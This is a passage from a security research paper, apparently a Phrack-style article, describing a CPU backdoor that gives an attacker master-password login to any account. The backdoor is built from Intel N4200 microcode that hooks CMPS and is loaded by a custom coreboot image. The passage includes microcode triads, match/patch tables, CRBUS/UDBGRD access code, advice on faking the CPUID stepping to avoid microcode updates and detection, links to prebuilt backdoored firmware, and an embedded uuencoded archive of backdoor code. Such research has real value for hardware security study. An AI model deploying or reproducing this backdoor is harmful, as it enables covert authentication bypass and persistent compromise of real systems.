//U3ccd: 11890b826988 rsi:= ADDSUB_DSZ16_CONDD( // IMM_MACRO_ALIAS_DATASIZE, rsi) { 0x11890b8279c8, 0x11890b8279c8, 0x11890b826988, NOP_SEQWORD }, { 0x11890b826988, NOP, NOP, NOP_SEQWORD }, { SUB_DSZ32_DRR(RCX, RCX, RCX) | MOD1, GENARITHFLAGS_IR(0x0000003f, TMP10), SFENCE, END_SEQWORD } // SEQW UEND0 }; Initially, I used LDZX_DSZ64_ASZ64_SC8_DR(TMP1, RDI, 0x08) to read the first 64-bit value. The testing environment was a 32-bit Windows 10 KVM/QEMU virtual machine. While the backdoored cmps instruction functioned correctly during the Windows login process, issues arose during the early boot stage after a system reboot. To resolve this, I switched to using LDZX_DSZ32_ASZ32_SC1_DR(TMP1, RDI, 0x08) | MOD1, as previously described. A likely reason for this behavior is that DSZ64/ASZ64 instructions are incompatible with the real-mode execution environment present during early boot stages. The implementation is hardcoded to hook at U3cc8, where the original triad is copied to be executed before branching to the next triad. This microcode is specific to the Intel N4200 (family 06, model 92) stepping 10, as CPUs of the same model with different steppings may have MSROM variations due to accumulated microcode patches. --[ 3.4.4 Installing Microcode Backdoors via Coreboot As introduced earlier, the attack scenario assumes that the CPU vendor implants a backdoor in the silicon during production. In the context of microcode, the vendor could either embed malicious microcode in the MSROM at the factory or distribute a harmful microcode patch to update all CPUs of the same model. This patch would load every time the system boots, placing the malicious code in the MSRAM. To validate this concept and closely emulate the vendor's actions, the most feasible approach is to embed the backdoor code in the BIOS and patch the microcode during each system boot. When Mark Ermolov, Dmitry Sklyarov, and Maxim Goryachy achieved the "Red Unlock" on an Intel Goldmont microarchitecture CPU, they used a Gigabyte NUC (model GB-BPCE-3350C) as their test machine. Later, KaKaRoTo continued this work on a Beelink-M1 NUC[28]. Subsequently, Alexander Krog and Alexander Skovsende released the lib-micro project, rewriting the exploit for their own machine, which I believe was an UP Squared Pro N4200. If you want to replicate this, you will likely need an Intel Silicon View Technology Closed Chassis Adapter (SVTCCA) to debug the Management Engine (ME) code. Otherwise, the best option is to find the exact same hardware and use the existing exploit. For my setup, I got Red Unlock working using their pre-built firmware. Although lib-micro's coreboot image did not boot on my UP Squared (Pro) board, but their exploit worked. As a workaround, I recompiled Coreboot with extracted modules. My Coreboot fork, including the CPU backdoor, is available at: https://github.com/whensungoesdown/coreboot It also provides a Coreboot pre-built image that enables Red Unlock, loads the CPU backdoor microcode, and fixes the VGA driver. I tested it on an UP Squared Pro N4200 (the 4GB RAM/32GB storage version). The coreboot and red unlock part should work fine on both UPSquared and UPSquared Pro boards, since there is not much difference between them. That said, if you've got a UPSquared board, you're probably looking at an N4200 stepping 9 CPU. Welcome to the 0x0 Bytes Left Club, see section 3.4.5. The microcode part is unchanged from the previous test project. The firmware implementation now requires loading this microcode on all CPU cores. One optimal place appears to be cpu_initialize() in arch/x86/cpu.c, as this is where coreboot applies the official microcode updates. The backdoor microcode patch should then be applied afterward. For simplicity, the CPU backdoor only compromises the CMPS instruction as previously described. But there is one issue. When attempting to install a newer version of Windows 10 (22H2, far more recent than the Intel N4200's release), the installer crashes with a MICROCODE_REVISION_MISMATCH bluescreen. Nice one, Microsoft. In contrast, Ubuntu 24.04 silently installs the microcode patch and removes the backdoor hooks without any warning. For CPU vendors, this should not be a concern as they control all microcode updates. For others, there is a solution: hooking the CPUID instruction and altering the stepping number, tricking the OS into believing the CPU is much newer, thus avoiding microcode updates. For example, testing on an older Windows 10 version (2016 release) works flawlessly: no installation errors, and the backdoor remains intact. However, altering the stepping number leaves a detectable trace. But seriously, who pays attention to that? --[ 3.4.5 The 0x0 Bytes Left Club During implementation and testing, two Intel N4200 processors were used, stepping 9 and 10. Clearly, the stepping 9 is an earlier iteration. It uses all available microcode RAM and takes 28 out of the 32 match/patch registers, as listed below. idx p src dst 00: 0 0x0000 0x0000 01: 1 0x1434 0x06c6 02: 1 0x4c04 0x7c0a 03: 1 0x61e6 0x7cae 04: 1 0x757a 0x7cb0 05: 1 0x244a 0x7cdc 06: 1 0x065c 0x7c5c 07: 1 0x29ca 0x7c2e 08: 1 0x2078 0x7cf6 09: 1 0x263a 0x7cfe 10: 1 0x18c4 0x7cfa 11: 1 0x78d6 0x7d02 12: 1 0x2018 0x7c04 13: 1 0x5b94 0x7c14 14: 1 0x5ce2 0x7c88 15: 1 0x6908 0x7c6c 16: 1 0x3b52 0x7c4a 17: 1 0x4e76 0x7db8 18: 1 0x01ce 0x7ce6 19: 1 0x2ec8 0x7d6e 20: 1 0x6ff6 0x7d26 21: 1 0x13da 0x7d94 22: 1 0x667c 0x7cea 23: 1 0x0cd2 0x7d0a 24: 1 0x0e66 0x7d7a 25: 1 0x4c5a 0x7dd6 26: 1 0x24bc 0x7d12 27: 1 0x31a4 0x7d36 28: 1 0x758e 0x7df6 29: 0 0x0000 0x0000 30: 0 0x0000 0x0000 31: 0 0x0000 0x0000 Match/patch table is implemented as one of Microcode Sequencer Arrays (array 3), with the following structure: 30 16 15 0 +------------------------+------------------------+-+ | dst | src |p| +------------------------+------------------------+-+ 15 15 1 p : Indicates whether the entry is active src: 15-bit source address (calculated as uaddr/2) representing the hook location dst: 15-bit destination address (calculated as uaddr/2) for the jump target This component plays a critical role in the microcode update system. During microcode execution, when the processor encounters an instruction at the src address, the control flow is redirected to the corresponding dst address, enabling runtime modification of the execution path. The table contains 32 entries, with the first entry typically reserved/unused. The MSRAM is completely filled up to 0x7df6 (as shown in slot 28), and the whole space stops at 0x7dff in case I didn't mention that before. It leaves no space to insert more microcode. At first, I assumed microcode patches were incrementally applied with each update. To test this, I disabled microcode updates in the Linux kernel and even removed the microcode blob from coreboot. Surprisingly, the microcode RAM became even more saturated, and one more match/patch register was occupied. This means that if you are using stepping 9 (or an even earlier revision, if one exists) this experiment may not be feasible. To free up space, I attempted to erase certain match/patch registers, assuming that security-related patches would have minimal impact. However, the system became unstable. Shows these microcode patches are more serious than I thought. According to Coreboot doc, "When a CPU core comes out of reset, it uses microcode from an internal ROM. This "default" microcode often contains bugs, so it needs to be updated as soon as possible. For example, Core 2 CPUs can boot without microcode updates, but have stability problems. On newer platforms, it is nearly impossible to boot without having updated the microcode. On some platforms, an updated microcode is required in order to enable Cache-As-RAM or to be able to successfully initialize the DRAM. Plus, microcode needs to be loaded multiple times. Intel Document 504790 explains that this is because of so-called enhanced microcode updates, which are large updates with errata workarounds for both core and uncore. In order to correctly apply enhanced microcode updates, the MP-Init algorithm must be decomposed into multiple initialization phases. ... Beginning with 4th generation Intel Core processors, it is possible for microcode to be updated before the CPU is taken out of reset. This is accomplished by means of FIT, a data structure which contains pointers to various firmware ingredients in the BIOS flash." Microcode updates are not optional especially those FIT ones in BIOS, because modern CPUs need them to even work right. To mess up a CPU with heavy microcode patches, maybe the only way is to analysis it, find gaps and squeeze code pieces in there like old-school infection virus. For this project, it would be much easier to start with a CPU that is stepping 10, there should be enough space to implant the backdoor microcode. Below is the current match/patch status for stepping 10 under microcode revision 0x28. idx p src dst 00: 0 0x0000 0x0000 01: 1 0x4dc0 0x7c4c 02: 1 0x2078 0x7c0e 03: 1 0x682a 0x7c86 04: 1 0x1c3c 0x7c30 05: 1 0x6a10 0x7c44 06: 1 0x3c7a 0x7c22 07: 1 0x4f52 0x7cca 08: 1 0x01d6 0x7c6a 09: 1 0x2e44 0x7cbe 10: 1 0x70fa 0x7c9e 11: 1 0x13c2 0x7cea 12: 1 0x67a0 0x7c6e 13: 1 0x0cd2 0x7c82 14: 1 0x209c 0x28d8 15: 1 0x141e 0x7c96 16: 1 0x24bc 0x7c8a 17: 1 0x623a 0x7d16 18: 0 0x0000 0x0000 19: 0 0x0000 0x0000 20: 0 0x0000 0x0000 21: 0 0x0000 0x0000 22: 0 0x0000 0x0000 23: 0 0x0000 0x0000 24: 0 0x0000 0x0000 25: 0 0x0000 0x0000 26: 0 0x0000 0x0000 27: 0 0x0000 0x0000 28: 0 0x0000 0x0000 29: 0 0x0000 0x0000 30: 0 0x0000 0x0000 31: 0 0x0000 0x0000 --[ 3.4.6 CRBUS, LDAT and Memory Arrays An important aspect need to be covered is how data is read from MSROM and written to MSRAM. These operations rely on two critical components: CRBUS and LDAT. Since I'm still learning about these systems myself, I'll explain them to the best of my understanding. It makes sense for a processor to have an internal bus capable of monitoring the status of all its components. Such a bus would be essential for tasks like resetting hardware to predefined states, enabling or disabling specific features, and reading diagnostic data. While not documented in public specifications, these internal buses appear to exist across major architectures, such as Intel CRBUS (Configuration Register Bus) and IBM PIB (Pervasive Interconnect Bus). The CRBUS can be accessed through multiple interfaces[31]. One method is via the TAP (Test Access Port) which is a logic block responsible for executing tests and managing data flow along the boundary cells. In practice, this is commonly referred to as JTAG access. The following CRBUS read/write implementation is extracted from the TXE-POC project [23]: def crbus_read(addr): glm0 = ipc.devs.glm_module0 crbus_val = (0x3 << 79) | (addr << 65) ipc.irdrscan(glm0, 0xa8, 83, None, crbus_val, False) val = ipc.irdrscan(glm0, 0xa9, 83) data = (val & ((1 << 0x41) - 1)) >> 1 return data def crbus_write(addr, val): glm0 = ipc.devs.glm_module0 crbus_val = (0x1 << 80) | (addr << 65) | ((val &((1 << 64 ) -1)) << 1) ipc.irdrscan(glm0, 0xa8, 83, None, crbus_val, False) The implementation utilizes ipccli lib's irdrscan function (from Intel System Studio) which performs combined IR/DR scan operations through the JTAG interface. irdrscan(device, instruction, bitCount, data=None, writeData=None, returnData=True) Perform a combined IR/DR scan to the specified device, passing in the specified instruction for the IR scan and the specified bit count for the DR scan. Parameters device (int) – the did or alias of the device (not needed if using from a node object). instruction (int) – The instruction to scan into the device. bitCount (int) – The number of bits to scan from the data register of the designated device as selected by the current instruction register handle. data (int) – can specify this or writeData with a number or BitData object to write to the device (see note about backwards compatibility). writeData (int) – a number or BitData object to write to the device. returnData (bool) – whether to return the data from the scan that was done. Returns A BitData object containing the bits that were read back. The second parameter specifies the instruction to be scanned into the device. While the exact meaning of the "0xa8" used in the Python code above seems to be undocumented, it may correspond to "CRBUS" instruction as referenced in a Intel patent[31]." According to the patent, the CRBUS consists of one 32-bit CR DATA BUS and 10-bit CR ADDRESS & W/R BUS. Two different TAP instructions, "CRBUS" and "CRBUSNOGO", have been designed to perform the necessary accessing of control registers. The CRBUS command instructs the TAP to access the appropriate location and if it is a "write", to write the data to the accessed register. If the operation is a "read," then the CRBUS command instructs data to be read from the accessed register. The CRBUSNOGO instruction is used (along with the CRBUS instruction) only for a read operation, to shift the data out as a serial TDO signal. The referenced patent dates back to 2000, and modern implementations may differ significantly. For instance, the MSROM includes numerous control registers with addresses exceeding 10 bits. For current analysis, we can just treat CRBUS as an interconnect for accessing control registers distributed across the chip. An alternative method for accessing CRBUS is via the undocumented instructions UDBGRD and UDBGWR, as disclosed by researchers Mark Ermolov, Dmitry Sklyarov, and Maxim Goryachy and implemented in lib-micro. The relevant code snippet is provided below. __attribute__((always_inline)) u_result_t static inline udbgrd(uint64_t type, uint64_t addr) { lmfence(); u_result_t res; asm volatile( ".byte 0x0F, 0x0E\n\t" : "=d" (res.value) , "=b" (res.status) : "a" (addr) , "c" (type) ); lmfence(); return res; } __attribute__((always_inline)) u_result_t static inline udbgwr(uint64_t type, uint64_t addr, uint64_t value) { uint32_t value_low = (uint32_t)(value & 0xFFFFFFFF); uint32_t value_high = (uint32_t)(value >> 32); u_result_t res; lmfence(); asm volatile( ".byte 0x0F, 0x0F\n\t" : "=d" (res.value) , "=b" (res.status) : "a" (addr) , "c" (type) , "d" (value_low) , "b" (value_high) ); lmfence(); return res; } The opcodes for UDBGRD and UDBGWR are 0F0E and 0F0F, respectively. Referring back to the opcode map in Section 2, the last two cells of the first row are unassigned, indeed, these correspond to undocumented instructions. The RCX register specifies the target device to access. A value of 0x0 corresponds to the CRBUS, while 0x10 indicates URAM, which is a private memory region exclusive to a single CPU core and not shared with others. For CRBUS read or write operations, the RAX register holds the address of the target control register. For MSROM reads or MSRAM writes, the relevant control registers belong to LDAT (Large Data Array Testing[29] or Local Direct Access Test[30]). As the name suggests, the LDAT engine manages large data arrays. The engine has four registers: SDAT, PDAT, DATIN, and DATOUT[29][32]. By configuring SDAT/PDAT with address, array, bank, and other parameters, specific memory arrays can be read or written. It is unclear to me how this was reverse-engineered, whether through direct analysis or by referencing some XML files containing register address definitions. Previous research[30][32][27][33] provides these definitions, which I include here for easy reference. SDAT Bitfield: 3 2 1 0 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 +-----------+---+-------+-------+-------+-------+ | Port |Mod| DWord |ArrySel| |BankSel| +-----------+---+-------+-------+-------+-------+ PDAT Bitfield: 3 2 1 0 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 +---------------+---+-----------+-------------------------------+ | | A1| | FastAddr | +---------------+---+-----------+-------------------------------+ A1 Command fields: | Encoding | Name | +----------+--------+ | 0 | NOP | | 2 | WRITE | | 3 | READ | Known arrays: | PDAT CR | ArraySel | Name | Description | +---------+----------+----------------+-------------------------------| | 0x6A0 | 0 | ms_rom | Microcode ROM triads | | 0x6A0 | 1 | ms_rom_seqw | Microcode ROM sequence words | | 0x6A0 | 2 | ms_ram_seqw | Microcode RAM sequence words | | 0x6A0 | 3 | ms_match_patch | Microcode match/patch | | 0x6A0 | 4 | ms_ram | Microcode RAM triads | Some control registers are not listed above. For example, set/unset bit-0 of 0x692 to disable/enable the match/patch mechanism. And, writing 0 to 0x38C halts frontend instruction fetching. The Microcode Sequencer utilizes five memory arrays. As previously described, array 3 stores the match/patch table. Arrays 0 and 1 form the microcode ROM space, spanning addresses 0x0000 through 0x7BFF. The writable RAM space consists of Arrays 2 and 4, occupying the address range from 0x7C00 to 0x7DFF for microcode updates. Arrays 0 and 4 store microcode triads, with each entry consisting of three micro-operations and one unused field. For example, partial dump from array 0: addr uop0 uop1 uop2 unused 0000: 00626803f200 000801030008 004800013000 000000000000 0004: 05b900013000 000a01000200 014800000000 000000000000 0008: 000c6c97e208 0005a407de08 01310023d23d 000000000000 000c: 00470003dc7d 0150015c027d 000000000000 000000000000 ... 7bfc: 000000000000 000000000000 000004d3ebf4 000000000000 Each microcode triad comprises three micro-instructions located at consecutive addresses (e.g., 0x0000-0x0002), with the fourth position consistently unused and zeroed. Array 4 maintains an identical structure for the writable microcode RAM space. Arrays 1 and 2 contain the sequence words that correspond to each microcode triad. As shown in this partial dump from array 1: addr seqw 0000: 0000018e5e40 0000018e5e40 0000018e5e40 0000018e5e40 0004: 00000b000240 00000b000240 00000b000240 00000b000240 0008: 000001890900 000001890900 000001890900 000001890900 000c: 000006a71180 000006a71180 000006a71180 000006a71180 ... 7bfc: 0000018000c0 0000018000c0 0000018000c0 0000018000c0 This quadruple repetition occurs because only one sequence word is needed per microcode triad and the addressing scheme for sequence word access may use (Uaddr >> 2) as the index. The design likely enables parallel fetching of both microcode triads and their corresponding sequence words by maintaining address alignment between the two structures. For the CMPS backdoor, if the pre-built coreboot image is correctly flashed onto the board, the following logs will appear in the serial console during boot. These logs demonstrate how the malicious microcode takes over the MSRAM. [INFO ] patching addr: 00007dbc - ram: 000001bc [INFO ] 7dbc: 11890b8279c8 11890b8279c8 11890b826988 018000c0 [INFO ] 7dc0: 11890b826988 000000000000 000000000000 018000c0 [INFO ] 7dc4: 100500021861 237d3f000e88 0fff00000000 030000f2 [INFO ] Patching 3de8 -> 7dc8 [INFO ] 7dc8: 000000000000 1c0000231027 0008901f000d 018000c0 [INFO ] 7dcc: 006410030230 0040d75b0230 006410030230 018000c0 [INFO ] 7dd0: 0040e65f0330 006410030230 00403d770370 018000c0 [INFO ] 7dd4: 000000000000 00450003ac31 0150bc7402fa 018000c0 [INFO ] 7dd8: 1c0000231027 1c0000630026 108501034d08 018000c0 [INFO ] 7ddc: 015dec740240 015ded740240 015dee740240 018000c0 In the match/patch table, the last two entries are occupied: one corresponds to the backdoor hook (previously described, though with a different offset due to CPU stepping), and the other is the IN instruction microcode patch, which is critical for maintaining persistent microcode hooks. idx p src dst 00: 0 0x0000 0x0000 01: 1 0x4dc0 0x7c4c 02: 1 0x2078 0x7c0e 03: 1 0x682a 0x7c86 04: 1 0x1c3c 0x7c30 05: 1 0x6a10 0x7c44 06: 1 0x3c7a 0x7c22 07: 1 0x4f52 0x7cca 08: 1 0x01d6 0x7c6a 09: 1 0x2e44 0x7cbe 10: 1 0x70fa 0x7c9e 11: 1 0x13c2 0x7cea 12: 1 0x67a0 0x7c6e 13: 1 0x0cd2 0x7c82 14: 1 0x209c 0x28d8 15: 1 0x141e 0x7c96 16: 1 0x24bc 0x7c8a 17: 1 0x623a 0x7d16 18: 0 0x0000 0x0000 19: 0 0x0000 0x0000 20: 0 0x0000 0x0000 21: 0 0x0000 0x0000 22: 0 0x0000 0x0000 23: 0 0x0000 0x0000 24: 0 0x0000 0x0000 25: 0 0x0000 0x0000 26: 0 0x0000 0x0000 27: 0 0x0000 0x0000 28: 0 0x0000 0x0000 29: 0 0x0000 0x0000 30: 1 0x3de8 0x7dc8 31: 1 0x58ba 0x017a --[ 4. Miscellaneous ----[ 4.1 x86 SSE/AVX Instruction Set When examining the strcmp() function on Linux x86_64 systems, we find it uses __strcmp_avx2(), a version optimized with AVX2 instructions, as seen in the disassembly output below. (gdb) disassemble Dump of assembler code for function __strcmp_avx2: => 0x00007ffff7f30ae0 <+0>: endbr64 0x00007ffff7f30ae4 <+4>: mov %edi,%eax 0x00007ffff7f30ae6 <+6>: xor %edx,%edx 0x00007ffff7f30ae8 <+8>: vpxor %ymm7,%ymm7,%ymm7 0x00007ffff7f30aec <+12>: or %esi,%eax 0x00007ffff7f30aee <+14>: and $0xfff,%eax 0x00007ffff7f30af3 <+19>: cmp $0xf80,%eax 0x00007ffff7f30af8 <+24>: jg 0x7ffff7f30e50 <__strcmp_avx2+880> 0x00007ffff7f30afe <+30>: vmovdqu (%rdi),%ymm1 0x00007ffff7f30b02 <+34>: vpcmpeqb (%rsi),%ymm1,%ymm0 0x00007ffff7f30b06 <+38>: vpminub %ymm1,%ymm0,%ymm0 0x00007ffff7f30b0a <+42>: vpcmpeqb %ymm7,%ymm0,%ymm0 0x00007ffff7f30b0e <+46>: vpmovmskb %ymm0,%ecx 0x00007ffff7f30b12 <+50>: test %ecx,%ecx 0x00007ffff7f30b14 <+52>: je 0x7ffff7f30b90 <__strcmp_avx2+176> ... AVX (Advanced Vector Extensions) is a feature in modern Intel and AMD processors that speeds up computations by processing multiple data elements at once. It uses special 256-bit registers (YMM) to perform SIMD (Single Instruction, Multiple Data) operations, making tasks like multimedia processing and scientific calculations much faster. In the GNU C Library (glibc), functions like strcmp() have multiple optimized variants, each designed to take advantage of specific CPU instruction sets, as illustrated in the code snippet below: /* Support sysdeps/x86_64/multiarch/strcmp.c. */ IFUNC_IMPL (i, name, strcmp, IFUNC_IMPL_ADD (array, i, strcmp, HAS_ARCH_FEATURE (AVX2_Usable), __strcmp_avx2) IFUNC_IMPL_ADD (array, i, strcmp, HAS_CPU_FEATURE (SSE4_2), __strcmp_sse42) IFUNC_IMPL_ADD (array, i, strcmp, HAS_CPU_FEATURE (SSSE3), __strcmp_ssse3) IFUNC_IMPL_ADD (array, i, strcmp, 1, __strcmp_sse2_unaligned) IFUNC_IMPL_ADD (array, i, strcmp, 1, __strcmp_sse2)) This mechanism, called IFUNC (Indirect Function) [17], is a GNU toolchain feature that allows multiple function implementations to be selected at runtime via a resolver. The dynamic loader invokes this resolver during startup to choose the optimal version (e.g., AVX2), which then remains fixed for the process's lifetime. String comparison using AVX2 is performed through vectorized operations where two 256-bit ymm registers are compared using VPCMPEQ. As each ymm register holds 32 bytes (VEC_SIZE), this allows comparing 32-byte string chunks in a single operation. For example: vmovdqu (%rdi),%ymm1 vpcmpeqb (%rsi),%ymm1,%ymm0 The vmovdqu instruction loads 32 bytes from the memory address in RDI into YMM1. The vpcmpeqb instruction then compares these 32 bytes against the contents at RSI's memory address, storing the comparison result in YMM0. Each byte position in YMM0 is set to 0xFF (all 1s) for matching bytes or 0x00 (all 0s) for mismatches. The string comparison is performed using vpcmpeqb rather than traditional CMPS instructions. From the backdoor's perspective, this approach is more advantageous because these extended instruction sets are specialized and less frequently used than basic x86 instructions. Additionally, vpcmpeqb can compare significantly more bytes in a single operation, making it easier to identify the target hash string while minimizing the risk of accidental triggers. Note, complex instruction like vpcmpeqb are typically implemented through microcode. ----[ 4.2 Other Thoughts In a computer system, trust is rooted in the firmware. Upon startup, the CPU runs immutable code stored in ROM or OTPROM (One-Time Programmable ROM), which authenticates the next firmware stage through digital signature verification. This process typically relies on asymmetric cryptography, such as RSA. The subsequent firmware is signed with a private key, while the ROM contains the corresponding public key to validate its integrity. Together, this immutable ROM code and embedded public key form the root of trust for the system. In practice, the OTPROM has limited capacity. Consequently, instead of storing the entire public key, only its hash is kept in OTPROM, while the full public key resides in external storage (e.g., EEPROM or FLASH). Thus, the ROM code's first step is to fetch the public key and verify its hash against the one stored in ROM. This comparison establishes the root of trust. After successfully authenticating the root public key, the system proceeds to validate the next stage firmware's digital signature. To understand how digital signatures work, let's take RSA (specifically, the RSASSA-PKCS1-V1_5 scheme) as an example. Suppose we have the firmware bin, that needs to be verified, along with its digital signature, bin_sig. The verification process uses the signer's public key to confirm that the signature is valid and the data has not been altered. 1. Hash the input data: Compute the SHA-256 digest of the original data ("bin"): hash = sha256(bin); 2. Encode the hash: Format the hash according to the EMSA-PKCS1-v1_5 padding scheme (which does not use salt): hash_encode = EMSA-PKCS1-v1_5(hash); 3. Decrypt the signature: Use the RSA public key to decrypt "bin_sig", get the encoded hash: hash_encode_from_sig = rsa_decrypt(bin_sig, public_key); 4. Compare the hashes: Verify the signature by checking if the decrypted encoded hash matches the locally computed encoded hash: cmp(hash_encode_from_sig, hash_encode); The final hash comparison decides whether verification passes or fails. So far, the system has performed two hash string comparisons. But what if the CPU recognizes even a single one of these hashes? This could break the trust chain, allowing the execution of malicious code. In practice, storing just a few hash strings in the CPU is not particularly useful because a single hash only represents one digital signature. Now, consider if the hash function had an algorithmic backdoor: one that produces detectable patterns when processing specially crafted inputs (such as those beginning with a particular header sequence). The CPU could detect this pattern during string comparison and let the malicious hash to pass authentication. I'm not certain whether this is feasible, but it's certainly an interesting idea to explore. --[ 5. Conclusion This paper introduces a CPU backdoor that enables an attacker to log into any account on the system using a master password. To test the idea, three prototypes are built: one on the QEMU TCG emulator, another on the OpenSPARC T1 processor (FPGA-based), and a third via microcode modification on an Intel Pentium N4200 CPU. The idea we aim to convey is this: while embedding backdoors deeper into hardware improves stealth, hardware alone imposes usability constraints. However, if the software intentionally cooperates the hardware, we gain more opportunities to deploy effective CPU backdoors. In our approach, the upper-layer operating system's password authentication module exhibits detectable behavioral patterns, which the CPU monitors to infer authentication events. --[ 6. Acknowledgements Special thank you to my wife uay and our kids Ray and Summer! You never stop believing in me. Even after three long years, you still have faith that I'll finish this paper. I love you all so much! Thanks to ChatGPT and DeepSeek for helping me write this paper! --[ 7. References [1] https://wiki.qemu.org/Documentation/TCG/frontend-ops [2] SPARC Assembly Language Reference Manual https://docs.oracle.com/cd/E36784_01/pdf/E36858.pdf [3] CPU bugs, CPU backdoors and consequences on security [4] Live Migration with AMD-V Extended Migration Technology http://developer.amd.com/wordpress/media/2013/02/ livevirtualmachinemigrationonamdprocessors.pdf [5] A Performance Evaluation of Platform-Independent Methods to Search for Hidden Instructions on RISC Processors. [6] Breaking the x86 ISA. BlackHat, USA, 2017. [7] Uisfuzz: An efficient fuzzing method for CPU undocumented instruction searching. [8] Uncovering Hidden Instructions in Armv8-A Implementations. [9] VIA C3 Nehemiah Datasheet, 2004. http://datasheets.chipdb.org/VIA/Samuel2/VIA%20C3%20Samuel%202%20 Datasheet%20V1.12.pdf [10] Christopher Domas. Hardware backdoors in x86 CPUs. Black Hat, 2018. [11] Apparatus and method for limiting access to model specific registers in a microprocessor, December 25 2012. US Patent 8,341,419. [12] Microprocessor that performs X86 ISA and arm ISA machine language program instructions by hardware translation into microinstructions executed by common execution pipeline, November 4 2014. US Patent 8,880,851. [13] Microprocessor with boot indicator that indicates a boot ISA of the microprocessor as either the X86 ISA or the ARM ISA, April 19 2016. US Patent 9,317,301. [14] Microprocessor that enables ARM ISA program to access 64-bit general purpose registers written by x86 ISA program, March 22 2016. US Patent 9,292,470. [15] 'Super-secret' debugger discovered in AMD CPUs https://www.theregister.com/2010/11/15/amd_secret_debugger/ [16] AMD Undocumented Machine-Specific Registers http://cbid.softnology.biz/html/undocmsrs.html [17] https://sourceware.org/glibc/wiki/GNU_IFUNC [18] Designing and implementing malicious hardware [19] https://openpower.foundation/specifications/isa/ [20] Alexander Krog and Alexander Skovsende. Backdoor in the Core - Altering the Intel x86 Instruction Set at Runtime. Defcon 31, 2023 [21] RISC86 INSTRUCTION SET. US Patent US5926642, 1999 [22] AMD-K6 Processor Technical Brief https://www.ardent-tool.com/CPU/docs/AMD/K6/k6_techb.pdf [23] IntelTXE-PoC. https://github.com/ptresearch/IntelTXE-PoC [24] https://www.intel.com/content/www/us/en/security-center/advisory/ intel-sa-00086.html [25] uCodeDisam. https://github.com/chip-red-pill/uCodeDisasm [26] udbgInstr https://github.com/chip-red-pill/udbgInstr [27] lib-micro. https://libmicro.dev [28] https://kakaroto.ca/2019/11/exploiting-intels-management-engine-part-1 -understanding-pts-txe-poc/ [29] EFFICIENT RANGE - BASED MEMORY WRITEBACK TO IMPROVE HOST TO DEVICE COMMUNICATION FOR OPTIMAL POWER AND PERFORMANCE. US Patent US 10,552,153 B2. 2020 [30] Ermolov, M., Sklyarov, D. & Goryachy, M. Undocumented x86 instructions to control the CPU at the microarchitecture level in modern Intel processors. J Comput Virol Hack Tech 19. 2023 [31] CONTROL REGISTER BUS ACCESS THROUGH A STANDARDIZED TEST ACCESS PORT. US Patent US006055656A. 2000 [32] Intel LDAT notes. https://pbx.sh/ldat/ [33] crbus_scripts. https://github.com/chip-red-pill/crbus_scripts [34] Live Migration With AMD-V Extended Migration Technology. https://kipdf.com/live-migration-with-amd-v-extended-migration- technology_5acde91c7f8b9a7f9b8b45f1.html --[ 8. Appendix: Code Due to the large size of the OpenSPARCT1 and QEMU projects, only the portion of code containing the backdoor implementation is included in the code.tar.gz file. For the full projects, please visit the following links: https://www.oracle.com/servers/technologies/opensparc-t1-page.html https://github.com/qemu/QEMU I’ve uploaded microcode-related projects to GitHub: https://github.com/whensungoesdown/lib-micro https://github.com/whensungoesdown/coreboot begin 664 code.tar.gz M'XL(`````````^P\:W?:2I+WLW]%W\RY64@P!OS*&#N[!(/##K8)X#QN)J,C MI`:T$9*N)/S8B>>W;U4_I-8+<!Z^NV>C<X)1=W5UO;JZNKJ(X9ITYY<?^]3@ M.3S<Q[_UP_V:^E<^O]3W&ON-W7KC@+4?-@[V?B'[/Y@N]BR#4/<)^66Y#NXQ MB'G\QT#]_T$7R^V#:J-:V_:-W>]N#AOKO[&_O[=W\$NM7M\];/S4_V,\>?H' M@<QH^/W,X$'Z/T3]-PX.=G_J_S&>%?H//-TWOH<5/%S_NX>'/_7_*,]:_5M. M>+"GS:GM4;]J?-4<J.`#V-#S]=]H[.[64_H_V-L#_=>^,Z^YS_]S_>\\VR+/ MR`A5?;!'0-G4]Y=>2+C"`^C$?M)VO3O?FLU#4C+*I%&K[6[#QS[IZA/?,BAY M16U;]TT!/IY;`;&MB:_[=P2^3GU*2>!.PQO=ITURYRZ)H3O$IZ85A+XU68:4 M6"'1'7/']1'!PC6MZ1VV+1V3^B2<4P*4+0+B3MG+V<45Z=,@@+XSZE!?M\E@ M.;$M`T?W@2(GH$0/B(>-P9R:9'+'!G:1E)$@A71=P*^'ENLT";6@G\U^#8Q# M$VE4ZW(^@;)"7)^4]!!9\(GKX<@RT'U';!WHDR.K!7*(V35!U`SQW/6`M3F@ M!&9O+-LF$TJ6`9TN[0JB`&#RKC=^?7DU)JV+#^1=:SAL78P_-`$XG+O02Z\I M1V4M/-L"S,"9KSOA'=".&,X[P_9K&-)ZU>OWQA^0@VYO?-$9C4CW<DA:9-`: MCGOMJWYK2`97P\'EJ%,E9$2I%#03:9ZL(T%/`>?"!7F:--0M.Y#\?P!%!T"D M;9*Y?DU!X0:UKH%$G1A@4`]3INTZ,\8TC(G%VB36E#AN6"$!4'P\#T/O:&?G MYN:F.G.65=>?[=@<0;#S$LG:V=KZB^48]M*DY`GZO1TW,*E7G3])MR]TR]FV M73?59WC+9`.]I<8.7R[;GN^&;DZW[<Z2K:&O&Q2;MOYBTJGE4'+:>75UI@W: MK7X?29Q"<Z(-W%0((C=<)PB),0>?]4R\T%O#TQQ]08./M=L7M4_DA/QSB\#S M<3S6QMW657^,;4]Z`.PO#;19TC(,$#@LWZ4=/JG$T.>]T:@(^/S\BIQ;0:#` MMR]/.UJKW>X4C^KXONLK0WK]OM:[&%UP>-NF,U"W,DX!'0Q[;V/8@6]=6P`. MYI,/?M$=7,7@\$).K4"?V-14@+H#K?.^/8A`.K<&]5*(QI=ONPQ@K,_():SI MJ>W>J%SWA^]Z?):V3<&1O;,<T[U1!7,*E/_>&5XRH%,@G#F45W?D=^J[*ERL MGE,]U(OT<AKI187*4<AI:]Q2%:*"IS5Q.AA>*E,/P'8I5UT:\NJBU>^=771. M&?25H]O6S`$]G%-8]7<"?UIQK?8XK;=66F6=]^/>Q9A\(;7;.@/NW((;=9A% MR)VHG@_?*()OY,/O%L'OYL/O%<'OY</O%\'OY\,?%,$?Y,,?%L$?YL._*()_ MD0__UR+XO^;#ZX7ZJN4/F!0.*-"P43B@0,5FX8`"'=/"`05*GA8.0"W?-[?^ 